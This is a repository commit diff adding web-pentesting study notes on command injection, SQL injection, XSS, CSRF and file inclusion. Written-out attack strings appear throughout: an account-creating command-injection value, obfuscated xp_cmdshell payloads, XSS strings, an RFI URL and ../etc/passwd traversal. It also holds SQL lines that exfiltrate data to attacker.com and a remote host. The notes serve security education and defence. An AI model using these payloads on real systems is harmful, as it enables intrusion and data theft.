Git-Mirrors/sec-pentesting-toolkit
1
0
Fork 0
mirror of https://github.com/autistic-symposium/sec-pentesting-toolkit.git synced 2025-04-27 19:16:08 -04:00
Code Issues Packages Projects Releases Wiki Activity

web security

Browse Source
This commit is contained in:
bt3gl 2014-11-20 09:58:54 -05:00
parent b54f50fbe4
commit f3a1895380
3 changed files with 293 additions and 30 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

105
Web_Security/OS_Command_Injection/README.md Normal file
View File

@ -0,0 +1,105 @@
# OS Command Injection
* Methodology:
- Identify data entry points
- Inject data (payloads)
- Detect anomalies from the response.
- Automate
* For example for snippet:
```
String cmd = new String("cmd.exe /K processReports.bat clientId=" + input.getValue("ClientId"));
Process proc = Runtime.getRuntime().exec(cmd);
```
For a client id equal **444**, we would have the following string:
```
cmd.exe /K processReports.bat clientId=444
```
However, an attacker could run use the client id equal **444 && net user hacked hackerd/add**. In this case, we have the following string:
```
cmd.exe /K processReports.bat clientId=444 && net user hacked hacked /add
```
## Examples of Injectuon Payloads:
* Control characters and common attack strings:
- '-- SQL injection
- && | OS Command Injection
- <> XSS
* Long strings (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
* Binary or Null data
## Fuzz Testing Web Applications
* Focus on the relevant attack sruface of the web application.
* Typically HTTP request parameters:
- QueryString
- POST data
- Cookies
- Other HTTP headers (User-Agent, Referer)
* Other entry points with request structures:
- XML web services
- WCF, GWT, AMF
- Remote Method Invoation (RMI)
* Fixing injection flaws:
- Comphehensive, consistent server-side input validation
- User Safe command APIs
- Avoid concatenating strings passed to an interpreter
- Use strong data types in favor of strings
### Whitelist input validation
- Input validated against known GOOD values.
- Exact match:
* A specific list of exact values is defined
* Difficult when large set of values is expected
- Pattern matching:
* Values are matched against known good input patterns.
* Data type, regular expressions, etc.
### Blacklist input validation
- Input validated against known BAD values.
- Not as effective as whitelist validation.
* Susceptible to bypass via encoding
* Global protection and therefore often not aware of context.
- Constantly changing given dynamic of application attacks.
#### Evading Blacklist filters
Exploit payloads:
```
';exec xp_cmdshell 'dir';--
```
```
‘;Declare @cmd as varchar(3000);Set @cmd =
‘x’+'p’+'_’+'c’+'m’+'d’+’s’+'h’+'e’+'l’+'l’+'/**/’+””+’d’+’i'+’r’+””;exec(@cmd);--
```
```
‘;ex/**/ec xp_cmds/**/hell ‘dir’;--
```
```
Declare @cmd as varchar(3000);Set @cmd
=(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHA
R(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+
CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CH
AR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd);--
```
```
‘;Declare @cmd as varchar(3000);Set @cmd =
convert(varchar(0),0×78705F636D647368656C6C202764697227);exec(@cmd);--
```

215
Web_Security/README.md
View File

@ -1,7 +1,11 @@
# Web Security
* Steps of web exploitation:
1. Information Gathering
## Steps of web exploitation:
1. Information Gathering
* creation of dictionary: with **cewl.rb**/
* download website: **wget -rck**, **httrack**:
```
@ -13,7 +17,7 @@ $ wget -rck <TARGET-WEBSITE>
2. Automatic Testing (scanners)
2. Automatic Testing (scanners)
* Tools: **Nikto**, **w3af**, **skipfish**, **Arachni**, **ZAP**/
* spidering: **GoLISMERO**.
* interesting files: search for robots.txt, gitignore, .svn, .listin, .dstore, etc. Tool: **FOCA**.
@ -21,7 +25,7 @@ $ wget -rck <TARGET-WEBSITE>
* fuzzing to the various parameters, directories and others, in order to identify different types of vulnerabilities such as: XSS, SQLi, LDAPi, Xpathi, LFI, or RFI. Tool: **PowerFuzzer**, **Pipper** or ***Burpproxy***. A good fuzzy dictionary is **fuzzdb**.
3. Manual testing
3. Manual testing
* testing vulnerabilities: Burpproxy, ZAP, sitescope.
* identify components and plugins that have enabled the Website, as might be the following types of CMS (Content Managment Systems): Joomla Component, Wordpress plugin, Php-Nuke, drupal, Movable Type, Custom CMS, Blogsmith/Weblogs, Gawker CMS, TypePad, Blogger/Blogspot, Plone, Scoop, ExpressionEngine, LightCMS, GoodBarry, Traffik, Pligg, Concrete5, Typo3, Radiant CMS, Frog CMS, Silverstripe, Cushy CMS etc. Then find known vulnerabilities and **/** associated with it. Tools: **joomla Scan** or **cms-explorer**.
@ -34,7 +38,7 @@ $ wget -rck <TARGET-WEBSITE>
```
$ /wget -r -l1 -H -t1 -nd -N -nd -N -A.swf -erobots=off <WEBSITE> -i output_swf_files.txt
```
Once we have identified and downloaded *.swf files, we must analyze the code, the functions (as *loadMovie*) variables in order to identify those that call and allow other types of vulnerabilities such as cross site scripting. Below shows some vulnerable functions:
* Once we have identified and downloaded *.swf files, we must analyze the code, the functions (as *loadMovie*) variables in order to identify those that call and allow other types of vulnerabilities such as cross site scripting. Below shows some vulnerable functions:
```
_root.videourl = _root.videoload + '.swf';
video.loadMovie(_root.videourl);
@ -44,7 +48,7 @@ function.getURL,javascript:alert('css')
TextField.html - payload: <img src='javascript:alert("css")//.swf'>
```
We could use tools such as **Deblaze** and **SWFIntruder**. We should also
* We could use tools such as **Deblaze** and **SWFIntruder**. We should also
analyze the parameter AllowScriptAccess, Flash Parameter Pollution or sensitive APIs:
```
loadVariables, loadVariblesNum, MovieClip.loadVariables, loadVars.load, loadVars.sendAndLoad
@ -55,7 +59,7 @@ ExternalInterface.addCallback
SharedObject.getLocal, SharedObject.getRemote
```
* authentication system: the first thing is to determine if the website stored the credentials in the browser. This could be exploited with attacks on defaults accounts and dictionary attacks. The default accoints are: admin, administrator, root, system, user, default, name application. We can use **hydra** for this:
* authentication system: the first thing is to determine if the website stored the credentials in the browser. This could be exploited with attacks on defaults accounts and dictionary attacks. The default accounts are: admin, administrator, root, system, user, default, name application. We can use **hydra** for this:
```
$ hydra -L users.txt -P pass.txt <WEBSTE> http-head/private
```
@ -63,34 +67,53 @@ $ hydra -L users.txt -P pass.txt <WEBSTE> http-head/private
* [My list of common web vulnerabilities.](http://bt3gl.github.io/a-list-of-common-web-vulnerabilities.html)
## OS Command Injection
---
## How do You Hack a Web Application
## SQLi
* Fuzz testing: what happens when unexpected data is sent into the application?
* Authentication testing: are authentication requirements always enforced?
* Authorization testing: can authorization be bypassed?
* Information disclosure: is information disclosed that might help compromise the application.
### Web Testing Methodology:
- Map the attack surface:
* Crawl and inventory all requests and responses.
* Follow all links.
* Fill in every form with valid data.
* Unauthenticated/Authenticated.
* Unprivileged/Privileged.
- Identify key requests, functionality during crawl.
- Use logs as input for fuzzing GET & POST parameters.
- Use authenticated log to uncover unprotected resources.
- Use privileged log to uncover resources withou proper authorization.
- Analyze logs for other potential weakness.
## Folders:
### OS Command Injection
### SQLi
- Brute force password
- Timed SQLi
- Cookie force brute
---
## PHP Shells
### PHP Shells
- php primer
- xor
- exploits
-----
## User ID
### User ID
- cookie auth
- user id
----
## Other Resources
### Other Resources
#### When we have a Website/IP Address:
@ -142,7 +165,7 @@ http://!$^&*()_+`-={}|[]:;@www.google.com
* HTTP is a stateless protocol based on a series of client requests and web server responses.
* HTTP requests and responses are comprised of Headers, followed by request or reponse body.
* HTTP requests and responses are comprised of Headers, followed by request or response body.
* HTTP requests must use a specific request method.
@ -158,7 +181,7 @@ http://!$^&*()_+`-={}|[]:;@www.google.com
- Accept-Language: supported language codes
- Referer: originating page for the request
* The headers are terminated with a single empty line, which may be followerd by any payload the client wishes to pass to the server (the lenght should be specified with the Content-Length header).
* The headers are terminated with a single empty line, which may be followed by any payload the client wishes to pass to the server (the length should be specified with the Content-Length header).
* The payload is usually browser data, but there is no requirements.
@ -192,7 +215,7 @@ name=John&type=2
### HTTP Status Codes
* 1xx - informational
* 2xx - sucess. Example: 200: 0K.
* 2xx - success. Example: 200: 0K.
* 3xx - redirection. Example: 302: Location.
* 4xx - client error. Example: 403: Forbidden, 401: Unauthorized, 404: Not found.
* 5xx - server error. Example: 500: Internal Server Error.
@ -208,7 +231,7 @@ name=John&type=2
- Cookie HTTP Header
#### Cookies
### Cookies
* To initiate a session, server sends a Set-Cookie header, which begins with a NAME=VALUE pair, followed by zero or more semi-colon-separated attribute-value pairs (Domain, Path, Expires, Secure).
@ -241,12 +264,13 @@ Set-Cookie: SID=472ndsw;expires=DATE;path=/;domain=SITE,HttpOnly
10. Unvalidated Redirects and Forwards.
### Injection Flaws
----
## Injection Flaws
* Happens when mixing Code and Input in the same context.
* Hostile input is parsed as code by the interpreter.
#### SQL Injection
### SQL Injection
* For example an input text box for username and password. The server-side code can be:
```
@ -261,17 +285,148 @@ SELECT user_id FROM user_data WHERE name='john' and password='password'
* However, if the attacker inputs **password' OR '1'='1**, no password is required!
* See sufolder SQLi for more information.
* See subfolder SQLi for more information.
### CSRF
Identification and verification manual of CSRF can be done by checking in the website's forms (usually where most often find this vulnerability).
----
To check this, you will need to copy an original request (GET / POST) on a form and then make a change in the parameters and re-send the same request modified. If the server does not return an error, it can be considered that it is vulnerable to
## CSRF
* Identification and verification manual of CSRF can be done by checking in the website's forms (usually where most often find this vulnerability).
* To check this, you will need to copy an original request (GET / POST) on a form and then make a change in the parameters and re-send the same request modified. If the server does not return an error, it can be considered that it is vulnerable to
CSRF.
To perform this task, we can use the tools **csrftester** or **burp** proxy.
* To perform this task, we can use the tools **csrftester** or **burp** proxy.
----
## XSS
* Occurs when untrusted data is sent to the web browser without validating or encoding the content.
* Allows attackers to inject script code into the web browser under the vulnerable site's domain.
- Steal session cookies and any other data in the DOM.
- Deface website content or redirect to third party websites.
- Exploit unpatched web browser or plugin.
* Types:
- Reflected (Transient): payload from Request directly echoed back in Response.
- Persistent: payload is stored and rendered back within another page.
- DOM based: occurs Client-Side due to insecure JavaScript
### Persistent Payload
1. The Attacker upload to the server:
```
GET /VulnerablePage.jsp?p1=<script>evil();</script>
```
2. The victim request:
```
GET /VulnerablePage.jsp
```
3. But she/he gets:
```
<html><body>(...)evil();</script></body></html>
```
### Reflected Payload
1. The victim clicks in some malicious link:
```
<a href="http://website.com/Vuln.jsp?p1=%3cscript%3eevil();%3c/script%3e">Click here!</a>
```
2. The victim's GET request:
```
GET /Vuln.jsp?p1=<script>evil();</script>
```
3. Which returns:
```
<html><body>(...)<script>evil();</script>(..)
```
### XSS Shell & XSS Tunnel
* XSS backdoor which allows an attacker to control a victim's browser by sending it commands.
* Attacker requests are proxied through XSS shell to perform requests as the victim.
* Enables attacker to bypass IP restrictions and all forms of authentication.
### XSS Identification and exploit techniques
* Reflected: pick your payloads, fuzz, and observe response. [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet).
* Persistent: include a unique string and grep responses.
* DOM based: analyze JavaScript for objects influenced by user:
- document.URL
- document.write
* Bypass weak application filters and output encoding: try different variants:
```
<IMG SRC=javascript:alert('XSS')>// no"or;
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>//no'
```
* Encode attack strings: URL, UTF-8, UTF-7
* Trick browser into using alternative character set (necessity of encoding consistence):
```
<?php
header('Content-Type: text/html; charset=UTF-7');
$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string);
?>
### XSS Defenses
* Validate (whitelist)
* Convert HTML to HTML entity equivalent:
- < can be represented by &lt; or &#60
- > can be represented by &gt; or &#63
* Consider context when encoding (JavaScript, inline-HTML, URLs)
---
## Insecure File Handling
* Exploit include directive to execute file of attacker's choice.
* File inclusion is used in a variety of web programming frameworks.
* RFI more common in PHP, but Java and ASP/ASP.NET also susceptible to LFI:
```
<?php $page = $_GET["page"];
include($page); ?>
```
where page is ***http://www.target.com/vuln.php?page=http://www.attacker.com/rooted.php***.
* RFI depends on whether **allow_url_fopen** and **allow_url_include** in php.ini.
* Insecure file uploads: upload fails to restrict file types and files are web accessible.
* Attempt to upload arbitrary file types (.jsp, .aspx, .swf): manipulate Content-Type request header.
* Once uploaded, determine if uploaded content is web accessible. If it is executable on the server, it's game over. If it is downloadable, it can exploit users with malicious content.
* Try blended files:
```
GIF89a(...binary data...)
<?php phpinfo(); ?> (...
```
### Identifying File Handling Bugs
* Fuzz and grep response for file system related messages:
```
qr / ((could not|cannot|unable to) (open|find|access|read)|(path|file) not found) /i;
```
* Analyze requests for parameters passing paths and filenames.
* Try directory traversal, NULL bytes, etc.
```
/FileDownload?file=reports/SomeReport.pdf
/FileDownload?file=../../etc/passwd%00.pdf
```

3
Web_Security/SQLi/README.md
View File

@ -53,6 +53,9 @@ SELECT count (*) FROM reviews WHERE author='bob' and SUBSTRING(SYSTEM_USER,1,1)=
* Utilize transport outside of HTTP response.
```
SELECT * FROM reviews WHERE review_author=UTL_INADDR.GET_HOST_ADDRESS((select user from dual ||'.attacker.com'));
INSERT into openowset('sqloledb','Network=DBMSSOCN; Address=10.0.0.2,1088;uid=gds574;pwd=XXX','SELECT * from tableresults') Select name,uid,isntuser from master.dbo.sysusers--
```
### Common ways of Exploitation